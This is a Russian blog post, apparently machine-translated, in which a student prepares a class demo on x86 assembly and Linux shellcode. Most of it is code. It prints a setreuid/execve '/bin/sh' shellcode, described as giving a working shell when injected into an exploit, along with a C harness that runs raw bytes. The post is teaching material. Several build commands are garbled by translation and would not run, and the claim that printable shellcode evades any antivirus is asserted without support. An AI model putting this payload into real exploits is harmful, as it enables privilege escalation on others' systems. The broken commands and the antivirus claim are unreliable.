Сборка x86 и шелл-код
Первым делом в моем выступлении будет обзор регистров.
Пока я многое узнал о машинном коде, я решил сделать шаг вперед. Я покажу классу пример, а затем снова объясню его снизу вверх.
.text _start: jmp message proc: xor eax, eax mov al, 0x04 xor ebx, ebx mov bl, 0x01 pop ecx xor edx, edx mov dl, 0x16 int 0x80 xor eax, eax mov al, 0x01 xor ebx, ebx mov bl, 0x01 ; return 1 int 0x80 message: call proc msg db “ y0u sp34k 1337 ? “ section .data
nasm -felf -g hello.asm
ld -melf_i386 -g привет.о
./a.out
objdump -D hello.o #include <stdio.h> char shellcode[] = “\xeb\x19\x31\xc0\xb0\x04\x31\xdb” “\xb3\x01\x59\x31\xd2\xb2\x12\xcd” “\x80\x31\xc0\xb0\x01\x31\xdb\xb3” “\x01\xcd\x80\xe8\xe2\xff\xff\xff” “\x20\x79\x30\x75\x20\x73\x70\x33” “\x34\x6b\x20\x31\x33\x33\x37\x20” “\x3f\x20”; int main(int argc, char **argv) { (*(void(*)())shellcode)(); return 0; }
gcc main.c -o main -z исполняемый стек
./главный
https://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-1-beginner-assembly-0161593/
https://stackoverflow.com/questions/15593214/linux-shellcode-hello-world
http://www.vividmachines.com/shellcode/shellcode.html
Это шестнадцатеричный код, машинный код работает с системным оборудованием, а процессор работает с шестнадцатеричным кодом. Это 32-битный линукс кали. Этот блог о том, как я собираюсь представить этот материал классу. В своей первой презентации я показал вам, ребята, регистры и инструкции машинного кода. Я давно читал о системных вызовах и инструкциях, и я не уверен, как именно преподавать это в классе. Однако эта презентация была предназначена только для того, чтобы пробудить ваш мозг. Я перешел от отдельной сборки x86. Это введение в то, как работает шестнадцатеричный код.
Я собираюсь показать классу лайфхак. По сути, я могу разблокировать вашу операционную систему Linux с помощью программы сборки и шелл-кода. Эксплойт получает доступ к каталогу #, что позволяет мне делать что угодно.
;shellex.asm [SECTION .text] global _start _start: xor eax, eax mov al, 70 ;setreuid is syscall 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short ender starter: pop ebx ;get the address of the string xor eax, eax mov [ebx+7 ], al ;put a NULL where the N is in the string mov [ebx+8 ], ebx ;put the address of the string to where the ;AAAA is mov [ebx+12], eax ;put 4 null bytes into where the BBBB is mov al, 11 ;execve is syscall 11 lea ecx, [ebx+8] ;load the address of where the AAAA was lea edx, [ebx+12] ;load the address of the NULLS int 0x80 ;call the kernel, WE HAVE A SHELL! ender: call starter db ‘/bin/shNAAAABBBB’ steve hanna@1337b0x:~$ nasm -f elf shellex.asm steve hanna@1337b0x:~$ ld -o shellex shellex.o steve hanna@1337b0x:~$ objdump -d shellex shellex: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: 31 c0 xor %eax,%eax 8048082: b0 46 mov $0x46,%al 8048084: 31 db xor %ebx,%ebx 8048086: 31 c9 xor %ecx,%ecx 8048088: cd 80 int $0x80 804808a: eb 16 jmp 80480a2 0804808c : 804808c: 5b pop %ebx 804808d: 31 c0 xor %eax,%eax 804808f: 88 43 07 mov %al,0x7(%ebx) 8048092: 89 5b 08 mov %ebx,0x8(%ebx) 8048095: 89 43 0c mov %eax,0xc(%ebx) 8048098: b0 0b mov $0xb,%al 804809a: 8d 4b 08 lea 0x8(%ebx),%ecx 804809d: 8d 53 0c lea 0xc(%ebx),%edx 80480a0: cd 80 int $0x80 080480a2 : 80480a2: e8 e5 ff ff ff call 804808c 80480a7: 2f das 80480a8: 62 69 6e bound %ebp,0x6e(%ecx) 80480ab: 2f das 80480ac: 73 68 jae 8048116 80480ae: 58 pop %eax 80480af: 41 inc %ecx 80480b0: 41 inc %ecx 80480b1: 41 inc %ecx 80480b2: 41 inc %ecx 80480b3: 42 inc %edx 80480b4: 42 inc %edx 80480b5: 42 inc %edx 80480b6: 42 inc %edx Replace the code at the top with: char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\ "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\ "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\ "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\ "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"; This code produces a fully functional shell when injected into an exploit and demonstrates most of the skills needed to write successful shellcode. Be aware though, the better one is at assembly, the more functional, robust, and most of all evil, one's code will be.
Это моя цель показать вам хак. Стив Ханна создал веб-сайт, на который я дал ссылку выше, и он прекрасен. Этот учебник излагает это чисто. Единственное, что мне нужно было сделать, это выяснить, что это 32-битная сборка, и как создать программу на C, которая выполняет шестнадцатеричный код. Я перечислил команды, которые я получил из нескольких руководств. В этой презентации я пытаюсь развлечься с классом и заставить их хоть что-то взять с собой.
Жолт спросил меня, почему сборка x86 является новой тенденцией, потому что мы сейчас занимаемся безопасностью с Аароном. Никаких аргументов не требуется, это взлом. Печатный шелл-код пройдет через любой антивирус. Я не хочу идти дальше, потому что я не верю в разрушение или воровство. Моя цель - показать вам, что никому нельзя доверять. Ты не знаешь того, что знает кто-то, возьмем, к примеру, Ника, не доверяй этому парню. Шутя! Хотя он может взломать.